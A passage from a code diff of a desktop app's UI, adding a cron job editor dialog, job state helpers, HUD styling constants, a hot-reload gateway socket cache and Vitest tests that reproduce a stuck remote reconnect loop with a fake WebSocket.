+  // Same catalog the chat model picker uses: configured providers and their
+  // actually-available models only. Script-only + blueprint forms never pick a
+  // model here, so skip the fetch entirely for them.
+  const modelOptions = useQuery({
+    queryKey: ['model-options', 'global'],
+    queryFn: () => requestModelOptions({}),
+    enabled: open && !scriptOnlyJob && !isBlueprint
+  })
+
+  // Single source of truth for where a cron can deliver (local + configured
+  // gateways) — same endpoint the dashboard uses, so no dialog offers a platform
+  // that isn't connected. Shared by the manual editor and the blueprint form.
+  const deliveryTargets = useQuery({
+    queryKey: ['cron-delivery-targets'],
+    queryFn: getCronDeliveryTargets,
+    enabled: open
+  })
+
+  useEffect(() => {
+    if (!open) {
+      return
+    }
+
+    setName(initial ? jobName(initial) : '')
+    setPrompt(initial ? jobPrompt(initial) : '')
+    setSchedule(initial ? jobScheduleExpr(initial) : (SCHEDULE_OPTIONS[0].expr ?? ''))
+    setSchedulePreset(initial ? scheduleOptionForExpr(jobScheduleExpr(initial)).value : 'daily')
+    setDeliver(initial ? jobDeliver(initial) : DEFAULT_DELIVER)
+    setModelChoice(initial && jobModel(initial) ? `${jobProvider(initial)}:${jobModel(initial)}` : MODEL_DEFAULT_VALUE)
+    setSlotValues({})
+    setTemplateChoice(CUSTOM_TEMPLATE)
+    setError(null)
+    setSaving(false)
+  }, [initial, open])
+
+  // Seed the typed slots with the blueprint's defaults whenever a blueprint is
+  // picked from "Start from" (and reset them when switching back to Custom).
+  useEffect(() => {
+    setSlotValues(blueprint ? initialBlueprintValues(blueprint) : {})
+    setError(null)
+  }, [blueprint])
+
+  const selectedScheduleOption =
+    SCHEDULE_OPTIONS.find(candidate => candidate.value === schedulePreset) ?? SCHEDULE_OPTIONS[0]
+
+  function handleSchedulePresetChange(nextPreset: string) {
+    setSchedulePreset(nextPreset)
+    setError(null)
+
+    const option = SCHEDULE_OPTIONS.find(candidate => candidate.value === nextPreset)
+
+    if (option?.expr) {
+      setSchedule(option.expr)
+    } else if (scheduleOptionForExpr(schedule).value !== 'custom') {
+      setSchedule('')
+    }
+  }
+
+  const scheduleHint = scheduleSummary(selectedScheduleOption, schedule, c)
+
+  // Configured providers with at least one available model — mirrors the chat
+  // model picker's gate so only actually-selectable models are offered.
+  const modelProviders = (modelOptions.data?.providers ?? []).filter(
+    provider => provider.authenticated !== false && (provider.models ?? []).length > 0
+  )
+
+  // A previously pinned model that has since left the catalog (provider
+  // removed / model retired) would render Radix's blank trigger. Keep the
+  // stored pin visible and re-selectable rather than silently dropping it.
+  const modelChoiceKnown =
+    modelChoice === MODEL_DEFAULT_VALUE ||
+    modelProviders.some(provider => (provider.models ?? []).some(model => `${provider.slug}:${model}` === modelChoice))
+
+  async function handleSubmit(event: React.FormEvent) {
+    event.preventDefault()
+
+    const validationError = validateCronEditor({
+      prompt,
+      schedule,
+      scriptOnlyJob
+    })
+
+    if (validationError) {
+      setError(
+        validationError === 'schedule'
+          ? c.scheduleRequired
+          : validationError === 'prompt'
+            ? c.promptRequired
+            : c.promptScheduleRequired
+      )
+
+      return
+    }
+
+    // Decode `${providerSlug}:${model}` — the model half may itself contain
+    // ':' (e.g. openrouter 'anthropic/claude-sonnet-4:beta'), so split once.
+    const overrideIndex = modelChoice === MODEL_DEFAULT_VALUE ? -1 : modelChoice.indexOf(':')
+    const overrideProvider = overrideIndex >= 0 ? modelChoice.slice(0, overrideIndex) : ''
+    const overrideModel = overrideIndex >= 0 ? modelChoice.slice(overrideIndex + 1) : ''
+
+    setSaving(true)
+    setError(null)
+
+    try {
+      await onSave({
+        deliver,
+        model: overrideModel,
+        name: name.trim(),
+        prompt: prompt.trim(),
+        provider: overrideProvider,
+        schedule: schedule.trim()
+      })
+    } catch (err) {
+      setError(err instanceof Error ? err.message : c.failedSave)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  async function handleBlueprintSubmit(event: React.FormEvent) {
+    event.preventDefault()
+
+    if (!blueprint) {
+      return
+    }
+
+    setSaving(true)
+    setError(null)
+
+    try {
+      await onBlueprintCreate(blueprint, slotValues)
+    } catch (err) {
+      // 422 carries the slot-level validation message; surface it inline.
+      setError(cleanBlueprintFieldError(err instanceof Error ? err.message : String(err)))
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  return (
+    <Dialog onOpenChange={value => !value && !saving && onClose()} open={open}>
+      <DialogContent className="max-w-lg">
+        <DialogHeader>
+          <DialogTitle>{isEdit ? c.editTitle : c.createTitle}</DialogTitle>
+          <DialogDescription>{isEdit ? c.editDesc : c.createDesc}</DialogDescription>
+        </DialogHeader>
+
+        {!isEdit && blueprintList.length > 0 && (
+          <Field htmlFor="cron-template" label={c.blueprints.startFrom}>
+            <Select onValueChange={setTemplateChoice} value={templateChoice}>
+              <SelectTrigger className="h-9 rounded-md" id="cron-template">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value={CUSTOM_TEMPLATE}>{c.blueprints.custom}</SelectItem>
+                {blueprintList.map(item => (
+                  <SelectItem key={item.key} value={item.key}>
+                    {item.title}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            {blueprint?.description && <FieldHint>{blueprint.description}</FieldHint>}
+          </Field>
+        )}
+
+        {isBlueprint && blueprint ? (
+          <form className="grid gap-4" onSubmit={handleBlueprintSubmit}>
+            {blueprint.fields.map(field => {
+              const fieldId = `blueprint-${blueprint.key}-${field.name}`
+              const help = blueprintSlotHelp(field)
+
+              return (
+                <Field htmlFor={fieldId} key={field.name} label={field.label}>
+                  {field.name === 'deliver' ? (
+                    // Use the shared, backend-sourced delivery targets (same as the
+                    // manual editor) rather than the blueprint's static field.options,
+                    // so both dialogs offer exactly the connected platforms.
+                    <DeliverSelect
+                      c={c}
+                      id={fieldId}
+                      onChange={next => setSlotValues(prev => ({ ...prev, [field.name]: next }))}
+                      targets={deliveryTargets.data ?? []}
+                      value={slotValues[field.name] ?? DEFAULT_DELIVER}
+                    />
+                  ) : (
+                    <BlueprintSlotControl
+                      field={field}
+                      id={fieldId}
+                      onChange={next => setSlotValues(prev => ({ ...prev, [field.name]: next }))}
+                      value={slotValues[field.name] ?? ''}
+                    />
+                  )}
+                  {help && <FieldHint>{help}</FieldHint>}
+                </Field>
+              )
+            })}
+
+            {error && (
+              <div className="flex items-start gap-2 rounded-md bg-destructive/10 px-3 py-2 text-xs text-destructive">
+                <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+                <span>{error}</span>
+              </div>
+            )}
+
+            <DialogFooter>
+              <Button disabled={saving} onClick={onClose} type="button" variant="outline">
+                {t.common.cancel}
+              </Button>
+              <Button disabled={saving} type="submit">
+                {saving ? c.blueprints.scheduling : c.blueprints.scheduleIt}
+              </Button>
+            </DialogFooter>
+          </form>
+        ) : (
+          <form className="grid gap-4" onSubmit={handleSubmit}>
+            {scriptOnlyJob && initial && (
+              <FieldHint>
+                {c.scriptOnlyEditHint} <span className="font-mono">{initial.id}</span>
+              </FieldHint>
+            )}
+
+            <Field htmlFor="cron-name" label={c.nameLabel} optional optionalLabel={c.optional}>
+              <Input
+                autoFocus
+                id="cron-name"
+                onChange={event => setName(event.target.value)}
+                placeholder={c.namePlaceholder}
+                value={name}
+              />
+            </Field>
+
+            <Field htmlFor="cron-prompt" label={c.promptLabel} optional={scriptOnlyJob} optionalLabel={c.optional}>
+              <Textarea
+                className="min-h-24 font-mono"
+                id="cron-prompt"
+                onChange={event => setPrompt(event.target.value)}
+                placeholder={c.promptPlaceholder}
+                value={prompt}
+              />
+            </Field>
+
+            <div className="grid items-start gap-4 sm:grid-cols-2">
+              <Field htmlFor="cron-frequency" label={c.frequencyLabel}>
+                <Select onValueChange={handleSchedulePresetChange} value={schedulePreset}>
+                  <SelectTrigger className="h-9 rounded-md" id="cron-frequency">
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent>
+                    {SCHEDULE_OPTIONS.map(option => (
+                      <SelectItem key={option.value} value={option.value}>
+                        {c.scheduleLabels[option.value]}
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </Field>
+
+              <Field htmlFor="cron-deliver" label={c.deliverLabel}>
+                <DeliverSelect
+                  c={c}
+                  id="cron-deliver"
+                  onChange={setDeliver}
+                  targets={deliveryTargets.data ?? []}
+                  value={deliver}
+                />
+              </Field>
+            </div>
+
+            {!scriptOnlyJob && (
+              <Field htmlFor="cron-model" label={c.modelLabel} optional optionalLabel={c.optional}>
+                <Select onValueChange={setModelChoice} value={modelChoice}>
+                  <SelectTrigger className="h-9 rounded-md" id="cron-model">
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent>
+                    <SelectItem value={MODEL_DEFAULT_VALUE}>{c.modelDefault}</SelectItem>
+                    {!modelChoiceKnown && (
+                      <SelectItem className="font-mono" value={modelChoice}>
+                        {modelChoice.slice(modelChoice.indexOf(':') + 1)}
+                      </SelectItem>
+                    )}
+                    {modelProviders.map(provider => (
+                      <SelectGroup key={provider.slug}>
+                        <SelectLabel>{provider.name}</SelectLabel>
+                        {(provider.models ?? []).map(model => (
+                          <SelectItem
+                            className="font-mono"
+                            key={`${provider.slug}:${model}`}
+                            value={`${provider.slug}:${model}`}
+                          >
+                            {model}
+                          </SelectItem>
+                        ))}
+                      </SelectGroup>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </Field>
+            )}
+
+            {schedulePreset === 'custom' ? (
+              <Field htmlFor="cron-schedule" label={c.customScheduleLabel}>
+                <Input
+                  className="font-mono"
+                  id="cron-schedule"
+                  onChange={event => setSchedule(event.target.value)}
+                  placeholder={c.customPlaceholder}
+                  value={schedule}
+                />
+                <FieldHint>{c.customHint}</FieldHint>
+              </Field>
+            ) : (
+              <div className="rounded-md bg-(--ui-bg-quinary) px-3 py-2">
+                <div className="flex flex-wrap items-center justify-between gap-2 text-xs">
+                  <span className="font-medium text-foreground">{scheduleHint}</span>
+                  <span className="font-mono text-muted-foreground">{schedule}</span>
+                </div>
+              </div>
+            )}
+
+            {error && (
+              <div className="flex items-start gap-2 rounded-md bg-destructive/10 px-3 py-2 text-xs text-destructive">
+                <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+                <span>{error}</span>
+              </div>
+            )}
+
+            <DialogFooter>
+              <Button disabled={saving} onClick={onClose} type="button" variant="outline">
+                {t.common.cancel}
+              </Button>
+              <Button disabled={saving} type="submit">
+                {saving ? t.common.saving : isEdit ? c.saveChanges : c.createAction}
+              </Button>
+            </DialogFooter>
+          </form>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+type EditorState = { job: CronJob; mode: 'edit' } | { mode: 'closed' } | { mode: 'create' }
+
+interface EditorValues {
+  deliver: string
+  /** Per-job model override ('' = follow the global default). */
+  model: string
+  name: string
+  prompt: string
+  /** Provider slug for the model override ('' = none). */
+  provider: string
+  schedule: string
+}
+
+interface ScheduleOption {
+  expr?: string
+  value: string
+}
diff --git a/ui-desktop/src/app/cron/job-state.ts b/ui-desktop/src/app/cron/job-state.ts
new file mode 100644
index 000000000..ee995d431
--- /dev/null
+++ b/ui-desktop/src/app/cron/job-state.ts
@@ -0,0 +1,29 @@
+import type { CronJob } from '@/types/clawcodex'
+
+// Status-pip color per cron job state. Single source for the sidebar section and
+// the Cron page so the two never drift. (Animation/size live at the call site.)
+export const STATE_DOT: Record<string, string> = {
+  completed: 'bg-(--ui-text-quaternary)',
+  disabled: 'bg-(--ui-text-quaternary)',
+  enabled: 'bg-primary',
+  error: 'bg-destructive',
+  paused: 'bg-amber-500',
+  running: 'bg-primary',
+  scheduled: 'bg-primary'
+}
+
+// Effective state: explicit state wins; otherwise infer from the enabled flag.
+export function jobState(job: CronJob): string {
+  const state = typeof job.state === 'string' ? job.state.trim() : ''
+
+  return state || (job.enabled === false ? 'disabled' : 'scheduled')
+}
+
+// Human label for a job: name → first 60 of prompt → first 60 of script → id.
+// One source for the sidebar row and the Cron page so the two never drift.
+export function jobTitle(job: CronJob): string {
+  const pick = (v: unknown) => (typeof v === 'string' ? v.trim() : '')
+  const clip = (v: string) => (v.length > 60 ? `${v.slice(0, 60)}…` : v)
+
+  return pick(job.name) || clip(pick(job.prompt)) || clip(pick(job.script)) || job.id || 'Cron job'
+}
diff --git a/ui-desktop/src/app/floating-hud.ts b/ui-desktop/src/app/floating-hud.ts
new file mode 100644
index 000000000..83b97a9c8
--- /dev/null
+++ b/ui-desktop/src/app/floating-hud.ts
@@ -0,0 +1,53 @@
+// Shared chrome for the top-center floating HUDs (command palette + session
+// switcher). They pin just under the title bar, centered, and lean on a crisp
+// border + shadow to separate from the app — no dimming/blurring backdrop.
+// Each caller layers on its own z-index, width, and overflow.
+//
+// Narrow screens: the centered HUD widens toward full-width and its top-left
+// corner slides under the macOS traffic lights. Below ~44rem (where the overlap
+// begins) drop the whole surface beneath the titlebar band so the search row
+// always clears the window controls. These HUDs portal to <body>, outside the
+// app-shell subtree that defines --titlebar-height, so the var needs a fallback.
+export const HUD_POSITION =
+  'fixed left-1/2 top-3 -translate-x-1/2 max-[44rem]:top-[calc(var(--titlebar-height,34px)+0.375rem)]'
+
+// Matches the app's borderless-overlay surface (dialog, keybind panel, …):
+// hairline `--stroke-nous` paired with the soft `--shadow-nous` float.
+// `no-drag`: these HUDs overlap the titlebar's `[-webkit-app-region:drag]` band
+// (app-shell.tsx), which wins hit-testing over DOM regardless of z-index — so
+// without it the top of the surface (the search input) swallows clicks.
+export const HUD_SURFACE =
+  'rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) shadow-nous [-webkit-app-region:no-drag]'
+
+// One row/text size for both HUDs (compact — two notches under `text-sm`).
+export const HUD_TEXT = 'text-xs'
+
+// Shared item layout + padding for both HUDs. Tight vertical rhythm so rows
+// don't feel chunky; overrides the shadcn `CommandItem` default (`px-2 py-1.5`).
+export const HUD_ITEM = 'gap-2 px-2 py-1'
+
+// Section headings styled like the sidebar panel labels: brand-tinted, uppercase,
+// tightly tracked — plain text, no sticky chrome bar. Targets the cmdk group
+// heading via the universal-descendant variant.
+export const HUD_HEADING =
+  '**:[[cmdk-group-heading]]:static **:[[cmdk-group-heading]]:bg-transparent **:[[cmdk-group-heading]]:px-2.5 **:[[cmdk-group-heading]]:pb-1 **:[[cmdk-group-heading]]:pt-2.5 **:[[cmdk-group-heading]]:text-[0.64rem] **:[[cmdk-group-heading]]:font-semibold **:[[cmdk-group-heading]]:uppercase **:[[cmdk-group-heading]]:tracking-[0.16em] **:[[cmdk-group-heading]]:text-(--theme-primary)'
+
+// A short note trailing a row's label — a version, a count, a live state. Sits
+// closer than the row's icon-to-label `gap-2` because it reads as a suffix of
+// the label, not as another item in the row.
+export const HUD_NOTE = '-ml-1'
+
+// `state` marks a note the row will CHANGE (a toggle's on/off) rather than a
+// passive fact. It keeps the label's own color so the pair reads as one phrase,
+// and earns its separation from a faint underline instead of going muted.
+//
+// That underline needs room, so `state` skips `truncate`: flex items are
+// blockified, which makes its `overflow: hidden` bite, and the app's global
+// 0.25rem underline offset (styles.css) already sits at the bottom edge of a
+// `text-xs` line box — together they clip the rule away entirely. Pulling the
+// offset to 2px keeps it inside the box; dropping truncate costs nothing
+// because these notes are one word.
+export const HUD_NOTE_VARIANT = {
+  muted: 'truncate text-muted-foreground/80',
+  state: 'shrink-0 underline decoration-current/50 underline-offset-2'
+} as const
diff --git a/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.test.ts b/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.test.ts
new file mode 100644
index 000000000..4379abc62
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.test.ts
@@ -0,0 +1,71 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import {
+  type GatewaySurvivor,
+  stashGatewaySurvivor,
+  survivorIsStale,
+  takeGatewaySurvivor
+} from './gateway-hmr-survivor'
+
+// A minimal stand-in for ClawCodexGateway: the survivor cache only reads
+// `connectionState`. Cast through unknown so we don't drag the whole class in.
+function fakeGateway(state: 'idle' | 'connecting' | 'open' | 'closed' | 'error') {
+  return { connectionState: state } as unknown as GatewaySurvivor['gateway']
+}
+
+function makeSurvivor(state: Parameters<typeof fakeGateway>[0]): GatewaySurvivor {
+  return { gateway: fakeGateway(state), profile: 'default', connection: null }
+}
+
+afterEach(() => {
+  // Drain any survivor a test parked but didn't take, so cases don't leak across
+  // the shared globalThis slot.
+  takeGatewaySurvivor()
+})
+
+describe('gateway HMR survivor cache', () => {
+  it('returns null when nothing is parked', () => {
+    expect(takeGatewaySurvivor()).toBeNull()
+  })
+
+  it('round-trips a parked survivor', () => {
+    const survivor = makeSurvivor('open')
+    stashGatewaySurvivor(survivor)
+    expect(takeGatewaySurvivor()).toBe(survivor)
+  })
+
+  it('is single-shot — a second take returns null', () => {
+    stashGatewaySurvivor(makeSurvivor('open'))
+    expect(takeGatewaySurvivor()).not.toBeNull()
+    expect(takeGatewaySurvivor()).toBeNull()
+  })
+
+  it('persists across re-imports via the globalThis slot', async () => {
+    const survivor = makeSurvivor('open')
+    stashGatewaySurvivor(survivor)
+
+    // A fresh import of the module (simulating an HMR module swap) must resolve
+    // the same underlying store, not a reset one.
+    const reimported = await import('./gateway-hmr-survivor')
+    expect(reimported.takeGatewaySurvivor()).toBe(survivor)
+  })
+
+  it('treats open / connecting sockets as adoptable', () => {
+    expect(survivorIsStale(makeSurvivor('open'))).toBe(false)
+    expect(survivorIsStale(makeSurvivor('connecting'))).toBe(false)
+  })
+
+  it('treats closed / error / idle sockets as stale', () => {
+    expect(survivorIsStale(makeSurvivor('closed'))).toBe(true)
+    expect(survivorIsStale(makeSurvivor('error'))).toBe(true)
+    expect(survivorIsStale(makeSurvivor('idle'))).toBe(true)
+  })
+
+  it('returns a stale survivor from take() so the caller can close it', () => {
+    const dead = makeSurvivor('closed')
+    stashGatewaySurvivor(dead)
+    const taken = takeGatewaySurvivor()
+    expect(taken).toBe(dead)
+    expect(taken && survivorIsStale(taken)).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.ts b/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.ts
new file mode 100644
index 000000000..a6e0aa6e0
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/gateway-hmr-survivor.ts
@@ -0,0 +1,56 @@
+// Keep the live primary gateway socket alive across Vite HMR so editing UI never
+// drops the agent session. Stash on dispose, re-adopt on remount. globalThis +
+// self-accept so this module's own reload doesn't reset the cache. Prod strips
+// import.meta.hot → byte-for-byte unchanged live unmount.
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import type { ClawCodexConnection } from '@/global'
+
+export interface GatewaySurvivor {
+  gateway: ClawCodexGateway
+  profile: string
+  connection: ClawCodexConnection | null
+}
+
+// One slot on globalThis, keyed by a process-stable Symbol so repeated imports
+// (across hot reloads) resolve the exact same store.
+const SURVIVOR_KEY = Symbol.for('clawcodex.desktop.gatewaySurvivor')
+
+interface SurvivorGlobal {
+  [SURVIVOR_KEY]?: GatewaySurvivor | null
+}
+
+function slot(): SurvivorGlobal {
+  return globalThis as unknown as SurvivorGlobal
+}
+
+/** Park the live gateway so the next module instance can re-adopt it. */
+export function stashGatewaySurvivor(survivor: GatewaySurvivor): void {
+  slot()[SURVIVOR_KEY] = survivor
+}
+
+/**
+ * Take the parked gateway, if any. Single-shot: the slot is cleared on read.
+ * The caller decides whether to adopt or discard it via `survivorIsStale` — a
+ * socket that died while parked (e.g. backend restart between edits) is still
+ * returned so the caller can close it and boot fresh.
+ */
+export function takeGatewaySurvivor(): GatewaySurvivor | null {
+  const store = slot()
+  const survivor = store[SURVIVOR_KEY] ?? null
+  store[SURVIVOR_KEY] = null
+
+  return survivor
+}
+
+/** A parked survivor whose socket is no longer open — caller should discard it. */
+export function survivorIsStale(survivor: GatewaySurvivor): boolean {
+  const state = survivor.gateway.connectionState
+
+  return state !== 'open' && state !== 'connecting'
+}
+
+// Self-accept so editing THIS module doesn't blow away the cache it manages.
+if (import.meta.hot) {
+  import.meta.hot.accept()
+}
diff --git a/ui-desktop/src/app/gateway/hooks/use-gateway-boot.test.tsx b/ui-desktop/src/app/gateway/hooks/use-gateway-boot.test.tsx
new file mode 100644
index 000000000..89f79a99d
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/use-gateway-boot.test.tsx
@@ -0,0 +1,340 @@
+import { act, cleanup, render } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $desktopBoot } from '@/store/boot'
+import { $gatewayState } from '@/store/session'
+
+import { takeGatewaySurvivor } from './gateway-hmr-survivor'
+import { useGatewayBoot } from './use-gateway-boot'
+
+// End-to-end-ish repro of the "remote VPS → stuck on CONNECTING, no Settings"
+// bug that drives the REAL useGatewayBoot hook + REAL ClawCodexGateway through a
+// fake WebSocket we fully control. No Docker / no real port: from the desktop's
+// point of view a "remote VPS" is just a WebSocket that opens once and later
+// refuses to reopen, so that is exactly (and only) what we fake.
+//
+// The previous test (gateway-connecting-overlay.test.tsx) hand-set the stores
+// and asserted the overlays; this one proves the HOOK actually PRODUCES that
+// stuck store combo — closing the "inferred by reading code" gap on the
+// post-boot reconnect loop.
+
+type Listener = (ev: unknown) => void
+let connectionApplied: null | (() => void) = null
+
+// Minimal WebSocket stand-in implementing only what json-rpc-gateway.connect()
+// touches: readyState, add/removeEventListener('open'|'error'|'close'), close().
+class FakeWebSocket {
+  static OPEN = 1
+  static CLOSED = 3
+  // Flipped by the test: 'open' = next socket connects; 'fail' = next socket
+  // errors (a dead remote). Mirrors a VPS going away after the first connect.
+  static mode: 'open' | 'fail' = 'open'
+  static instances: FakeWebSocket[] = []
+
+  readyState = 0
+  private listeners: Record<string, Set<Listener>> = {}
+
+  constructor(public url: string) {
+    FakeWebSocket.instances.push(this)
+    const willOpen = FakeWebSocket.mode === 'open'
+    // Resolve on the next microtask/macrotask so connect()'s promise wiring is
+    // in place before open/error fires (matches real async socket handshake).
+    setTimeout(() => {
+      if (willOpen) {
+        this.readyState = FakeWebSocket.OPEN
+        this.emit('open', {})
+      } else {
+        this.readyState = FakeWebSocket.CLOSED
+        this.emit('error', {})
+      }
+    }, 0)
+  }
+
+  addEventListener(type: string, fn: Listener) {
+    ;(this.listeners[type] ??= new Set()).add(fn)
+  }
+
+  removeEventListener(type: string, fn: Listener) {
+    this.listeners[type]?.delete(fn)
+  }
+
+  close() {
+    this.readyState = FakeWebSocket.CLOSED
+    this.emit('close', {})
+  }
+
+  // Force-drop an open socket, as a sleeping laptop / restarted remote would.
+  drop() {
+    this.readyState = FakeWebSocket.CLOSED
+    this.emit('close', {})
+  }
+
+  private emit(type: string, ev: unknown) {
+    for (const fn of this.listeners[type] ?? []) {
+      fn(ev)
+    }
+  }
+}
+
+function fakeDesktop() {
+  const conn = {
+    authMode: 'token' as const,
+    baseUrl: 'https://vps.example.com',
+    profile: 'default',
+    token: 't',
+    wsUrl: 'wss://vps.example.com/api/ws?token=t'
+  }
+
+  return {
+    getConnection: vi.fn(async () => conn),
+    getGatewayWsUrl: vi.fn(async () => conn.wsUrl),
+    getBootProgress: vi.fn(async () => ({
+      error: null,
+      fakeMode: false,
+      message: '',
+      phase: 'init',
+      progress: 0,
+      running: true,
+      timestamp: Date.now()
+    })),
+    onBootProgress: vi.fn(() => () => undefined),
+    onBackendExit: vi.fn(() => () => undefined),
+    onConnectionApplied: vi.fn(callback => {
+      connectionApplied = callback
+
+      return () => {
+        connectionApplied = null
+      }
+    }),
+    onPowerResume: vi.fn(() => () => undefined),
+    onWindowStateChanged: vi.fn(() => () => undefined),
+    touchBackend: vi.fn(async () => undefined),
+    profile: { get: vi.fn(async () => ({ profile: 'default' })) }
+  }
+}
+
+function Harness({
+  beforeConnectionSwitch = () => undefined,
+  refreshSessions
+}: { beforeConnectionSwitch?: () => void; refreshSessions?: () => Promise<void> } = {}) {
+  useGatewayBoot({
+    beforeConnectionSwitch,
+    handleGatewayEvent: () => undefined,
+    onConnectionReady: () => undefined,
+    onGatewayReady: () => undefined,
+    refreshClawCodexConfig: async () => undefined,
+    refreshSessions: refreshSessions ?? (async () => undefined)
+  })
+
+  return null
+}
+
+const originalWebSocket = globalThis.WebSocket
+
+beforeEach(() => {
+  // Drop any parked gateway left by a prior file/case (globalThis slot).
+  const leftover = takeGatewaySurvivor()
+
+  if (leftover) {
+    try {
+      leftover.gateway.close()
+    } catch {
+      // ignore
+    }
+  }
+
+  vi.useFakeTimers()
+  FakeWebSocket.mode = 'open'
+  FakeWebSocket.instances = []
+  connectionApplied = null
+  ;(globalThis as { WebSocket: unknown }).WebSocket = FakeWebSocket
+  ;(window as { clawcodexDesktop?: unknown }).clawcodexDesktop = fakeDesktop()
+  $gatewayState.set('idle')
+  $desktopBoot.set({
+    error: null,
+    fakeMode: false,
+    message: '',
+    phase: 'init',
+    progress: 0,
+    running: true,
+    timestamp: Date.now(),
+    visible: true
+  })
+})
+
+afterEach(() => {
+  cleanup()
+  // Vitest keeps import.meta.hot truthy, so the boot effect's cleanup parks an
+  // open gateway instead of tearing it down (the real HMR path). Drain + close
+  // that survivor so the next test boots a fresh socket instead of adoptBoot().
+  const survivor = takeGatewaySurvivor()
+
+  if (survivor) {
+    try {
+      survivor.gateway.close()
+    } catch {
+      // ignore
+    }
+  }
+
+  vi.useRealTimers()
+  ;(globalThis as { WebSocket: unknown }).WebSocket = originalWebSocket
+  delete (window as { clawcodexDesktop?: unknown }).clawcodexDesktop
+})
+
+// Let pending microtasks (awaits) AND the queued 0ms socket open/error fire.
+async function flushAsync() {
+  await act(async () => {
+    await vi.advanceTimersByTimeAsync(0)
+  })
+}
+
+// Drive the exponential backoff forward by its full cap so the next scheduled
+// reconnect attempt actually runs (1s,2s,4s,8s,15s,15s…). Returns after the
+// attempt's async work settles.
+async function advanceBackoff() {
+  await act(async () => {
+    await vi.advanceTimersByTimeAsync(15_000)
+  })
+}
+
+describe('useGatewayBoot remote reconnect loop (real hook, fake socket)', () => {
+  it('INITIAL boot against a dead VPS: getConnection hangs (waitForClawCodex) → app sits in the connecting combo, then fails', async () => {
+    // The report's actual path: a fresh launch pointed at an unreachable VPS.
+    // startClawCodex()'s remote branch awaits waitForClawCodex() for 45s before it
+    // throws, so the renderer's `await desktop.getConnection()` stays pending
+    // that whole window. During it: gatewayState is still 'idle' (connect was
+    // never reached) and boot.error is null → connecting=true → the fullscreen
+    // CONNECTING overlay, latched, blocking Settings.
+    let rejectConn: (e: Error) => void = () => undefined
+    const desktop = fakeDesktop()
+    desktop.getConnection = vi.fn(
+      () =>
+        new Promise((_resolve, reject) => {
+          rejectConn = reject
+        })
+    )
+    ;(window as { clawcodexDesktop?: unknown }).clawcodexDesktop = desktop
+
+    render(<Harness />)
+    await flushAsync()
+
+    // getConnection is still pending — the dead-VPS wait. No socket was ever
+    // created, gatewayState never left idle, boot.error is null.
+    expect(FakeWebSocket.instances).toHaveLength(0)
+    expect($gatewayState.get()).not.toBe('open')
+    expect($desktopBoot.get().error).toBeNull()
+    // ^ connecting === true here → fullscreen CONNECTING, no Settings.
+
+    // After ~45s waitForClawCodex gives up and getConnection rejects → boot()
+    // catch → failDesktopBoot → the BootFailureOverlay recovery surface.
+    await act(async () => {
+      rejectConn(new Error('ClawCodex backend did not become ready: timeout'))
+      await vi.advanceTimersByTimeAsync(0)
+    })
+
+    expect($desktopBoot.get().error).toBeTruthy()
+  })
+
+  it('resets the old machine context before connecting an applied gateway', async () => {
+    const beforeConnectionSwitch = vi.fn()
+    render(<Harness beforeConnectionSwitch={beforeConnectionSwitch} />)
+    await flushAsync()
+    expect(connectionApplied).not.toBeNull()
+
+    act(() => connectionApplied?.())
+    expect(beforeConnectionSwitch).toHaveBeenCalledTimes(1)
+    await flushAsync()
+    expect($gatewayState.get()).toBe('open')
+  })
+
+  it('a remote that drops post-boot keeps looping with NO boot.error (the dead-end CONNECTING combo)', async () => {
+    render(<Harness />)
+    await flushAsync()
+
+    // Initial boot connected.
+    expect($gatewayState.get()).toBe('open')
+    expect($desktopBoot.get().error).toBeNull()
+    expect(FakeWebSocket.instances).toHaveLength(1)
+
+    // The remote VPS goes away: drop the live socket, and make every reopen
+    // fail from here on.
+    FakeWebSocket.mode = 'fail'
+    act(() => FakeWebSocket.instances[0].drop())
+    await flushAsync()
+
+    // Burn a couple backoff cycles BEFORE the escalation threshold (<6 attempts,
+    // ~the first ~15s). This is the window where stock and fixed behave the
+    // same: socket down, hook retrying, gatewayState non-open, boot.error still
+    // null → CONNECTING covers the screen with no recovery surface. (Past ~45s
+    // the fix raises boot.error; that's asserted in the next test.)
+    await advanceBackoff()
+
+    expect($gatewayState.get()).not.toBe('open')
+    expect($desktopBoot.get().error).toBeNull()
+    // It is actively retrying, not idle — more sockets were minted.
+    expect(FakeWebSocket.instances.length).toBeGreaterThan(1)
+  })
+
+  it('FIX: after the prolonged drop the hook raises a recoverable boot error (the escape hatch)', async () => {
+    render(<Harness />)
+    await flushAsync()
+    expect($desktopBoot.get().error).toBeNull()
+
+    FakeWebSocket.mode = 'fail'
+    act(() => FakeWebSocket.instances[0].drop())
+    await flushAsync()
+
+    // Walk the backoff past the >=6 attempt threshold (~45s of failures).
+    for (let i = 0; i < 8; i += 1) {
+      await advanceBackoff()
+    }
+
+    // The hook surfaced the recoverable error → BootFailureOverlay (Use local
+    // gateway / Sign in / Retry) becomes reachable instead of CONNECTING.
+    expect($desktopBoot.get().error).toBeTruthy()
+  })
+
+  it('FIX: a successful reconnect clears the recoverable error', async () => {
+    render(<Harness />)
+    await flushAsync()
+
+    FakeWebSocket.mode = 'fail'
+    act(() => FakeWebSocket.instances[0].drop())
+    await flushAsync()
+
+    for (let i = 0; i < 8; i += 1) {
+      await advanceBackoff()
+    }
+
